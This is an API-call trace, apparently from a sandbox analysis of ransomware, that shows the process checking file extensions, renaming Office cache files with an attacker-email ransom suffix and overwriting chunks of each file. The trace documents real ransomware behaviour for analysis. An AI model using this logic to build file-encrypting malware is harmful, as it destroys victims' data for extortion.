	[0039.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ed37b8 | out: hHeap=0x4f0000) returned 1
	[0039.940] CloseHandle (hObject=0x174) returned 1
	[0040.367] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0040.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.367] lstrlenW (lpString=".doc") returned 4
	[0040.367] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0040.367] lstrlenW (lpString=".docx") returned 5
	[0040.367] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0040.367] lstrlenW (lpString=".pdf") returned 4
	[0040.367] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0040.367] lstrlenW (lpString=".xls") returned 4
	[0040.367] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0040.367] lstrlenW (lpString=".xlsx") returned 5
	[0040.367] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0040.367] lstrlenW (lpString=".ppt") returned 4
	[0040.367] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0040.367] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.368] lstrlenW (lpString=".zip") returned 4
	[0040.368] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0040.368] lstrlenW (lpString=".rar") returned 4
	[0040.368] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0040.368] lstrlenW (lpString=".bz2") returned 4
	[0040.368] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0040.368] lstrlenW (lpString=".7z") returned 3
	[0040.368] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0040.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.368] lstrlenW (lpString=".dbf") returned 4
	[0040.368] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0040.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.368] lstrlenW (lpString=".1cd") returned 4
	[0040.368] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0040.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.368] lstrlenW (lpString=".jpg") returned 4
	[0040.368] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0040.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.368] lstrlenW (lpString=".doc") returned 4
	[0040.368] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0040.368] lstrlenW (lpString=".docx") returned 5
	[0040.368] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0040.368] lstrlenW (lpString=".pdf") returned 4
	[0040.368] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0040.368] lstrlenW (lpString=".xls") returned 4
	[0040.368] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0040.368] lstrlenW (lpString=".xlsx") returned 5
	[0040.368] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0040.368] lstrlenW (lpString=".ppt") returned 4
	[0040.368] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0040.368] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.369] lstrlenW (lpString=".zip") returned 4
	[0040.369] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0040.369] lstrlenW (lpString=".rar") returned 4
	[0040.369] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0040.369] lstrlenW (lpString=".bz2") returned 4
	[0040.369] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0040.369] lstrlenW (lpString=".7z") returned 3
	[0040.369] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0040.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.369] lstrlenW (lpString=".dbf") returned 4
	[0040.369] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0040.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.369] lstrlenW (lpString=".1cd") returned 4
	[0040.369] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0040.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79
	[0040.369] lstrlenW (lpString=".jpg") returned 4
	[0040.369] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0040.369] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0040.369] lstrlenW (lpString="OutlkLR.cab") returned 11
	[0040.369] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0040.370] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=14819276) returned 1
	[0040.370] CloseHandle (hObject=0x174) returned 1
	[0040.370] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020
	[0040.370] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.370] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0040.370] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0040.370] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0040.370] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0040.370] ReadFile (in: hFile=0x174, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0040.376] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0040.376] ReadFile (in: hFile=0x174, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0040.380] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0040.380] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0040.380] ReadFile (in: hFile=0x174, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0040.591] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.591] WriteFile (in: hFile=0x174, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0040.607] SetEndOfFile (hFile=0x174) returned 1
	[0040.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ee37c0
	[0040.607] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0040.607] WriteFile (in: hFile=0x174, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0040.608] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0040.608] WriteFile (in: hFile=0x174, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0040.609] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0040.609] WriteFile (in: hFile=0x174, lpBuffer=0x3ee37c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee37c0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0040.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ee37c0 | out: hHeap=0x4f0000) returned 1
	[0040.610] CloseHandle (hObject=0x174) returned 1
	[0043.010] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0043.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.011] lstrlenW (lpString=".doc") returned 4
	[0043.011] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0043.011] lstrlenW (lpString=".docx") returned 5
	[0043.011] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0043.011] lstrlenW (lpString=".pdf") returned 4
	[0043.011] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0043.011] lstrlenW (lpString=".xls") returned 4
	[0043.011] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0043.011] lstrlenW (lpString=".xlsx") returned 5
	[0043.011] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0043.011] lstrlenW (lpString=".ppt") returned 4
	[0043.011] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0043.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.011] lstrlenW (lpString=".zip") returned 4
	[0043.011] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0043.011] lstrlenW (lpString=".rar") returned 4
	[0043.011] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0043.011] lstrlenW (lpString=".bz2") returned 4
	[0043.011] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0043.011] lstrlenW (lpString=".7z") returned 3
	[0043.011] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0043.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.011] lstrlenW (lpString=".dbf") returned 4
	[0043.012] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0043.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.012] lstrlenW (lpString=".1cd") returned 4
	[0043.012] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0043.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.012] lstrlenW (lpString=".jpg") returned 4
	[0043.012] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0043.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.012] lstrlenW (lpString=".doc") returned 4
	[0043.012] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0043.012] lstrlenW (lpString=".docx") returned 5
	[0043.012] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0043.012] lstrlenW (lpString=".pdf") returned 4
	[0043.012] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0043.012] lstrlenW (lpString=".xls") returned 4
	[0043.012] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0043.012] lstrlenW (lpString=".xlsx") returned 5
	[0043.012] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0043.012] lstrlenW (lpString=".ppt") returned 4
	[0043.012] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0043.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.012] lstrlenW (lpString=".zip") returned 4
	[0043.012] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0043.012] lstrlenW (lpString=".rar") returned 4
	[0043.012] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0043.012] lstrlenW (lpString=".bz2") returned 4
	[0043.012] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0043.012] lstrlenW (lpString=".7z") returned 3
	[0043.012] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0043.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.013] lstrlenW (lpString=".dbf") returned 4
	[0043.013] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0043.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.013] lstrlenW (lpString=".1cd") returned 4
	[0043.013] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0043.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0043.013] lstrlenW (lpString=".jpg") returned 4
	[0043.013] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0043.013] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0043.013] lstrlenW (lpString="Proof.cab") returned 9
	[0043.013] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0043.392] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=13642474) returned 1
	[0043.392] CloseHandle (hObject=0x160) returned 1
	[0043.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020
	[0043.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0043.393] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0043.706] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0043.706] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0043.706] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0043.706] ReadFile (in: hFile=0x160, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0043.949] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0043.949] ReadFile (in: hFile=0x160, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0044.046] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0044.046] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0044.046] ReadFile (in: hFile=0x160, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0044.103] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.103] WriteFile (in: hFile=0x160, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0044.590] SetEndOfFile (hFile=0x160) returned 1
	[0044.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f137d0
	[0044.590] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0044.590] WriteFile (in: hFile=0x160, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0044.591] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0044.591] WriteFile (in: hFile=0x160, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0044.592] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0044.592] WriteFile (in: hFile=0x160, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0044.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f137d0 | out: hHeap=0x4f0000) returned 1
	[0044.593] CloseHandle (hObject=0x160) returned 1
	[0047.274] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0047.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.274] lstrlenW (lpString=".doc") returned 4
	[0047.274] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0047.274] lstrlenW (lpString=".docx") returned 5
	[0047.274] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0047.274] lstrlenW (lpString=".pdf") returned 4
	[0047.274] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0047.274] lstrlenW (lpString=".xls") returned 4
	[0047.274] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0047.274] lstrlenW (lpString=".xlsx") returned 5
	[0047.274] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0047.274] lstrlenW (lpString=".ppt") returned 4
	[0047.275] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0047.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.275] lstrlenW (lpString=".zip") returned 4
	[0047.275] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0047.275] lstrlenW (lpString=".rar") returned 4
	[0047.275] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0047.275] lstrlenW (lpString=".bz2") returned 4
	[0047.275] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0047.275] lstrlenW (lpString=".7z") returned 3
	[0047.275] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0047.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.275] lstrlenW (lpString=".dbf") returned 4
	[0047.275] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0047.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.275] lstrlenW (lpString=".1cd") returned 4
	[0047.275] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0047.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.275] lstrlenW (lpString=".jpg") returned 4
	[0047.275] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0047.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.275] lstrlenW (lpString=".doc") returned 4
	[0047.275] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0047.275] lstrlenW (lpString=".docx") returned 5
	[0047.275] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0047.275] lstrlenW (lpString=".pdf") returned 4
	[0047.275] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0047.275] lstrlenW (lpString=".xls") returned 4
	[0047.275] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0047.275] lstrlenW (lpString=".xlsx") returned 5
	[0047.275] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0047.275] lstrlenW (lpString=".ppt") returned 4
	[0047.276] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0047.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.276] lstrlenW (lpString=".zip") returned 4
	[0047.276] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0047.276] lstrlenW (lpString=".rar") returned 4
	[0047.276] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0047.276] lstrlenW (lpString=".bz2") returned 4
	[0047.276] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0047.276] lstrlenW (lpString=".7z") returned 3
	[0047.276] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0047.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0047.276] lstrlenW (lpString=".dbf") returned 4
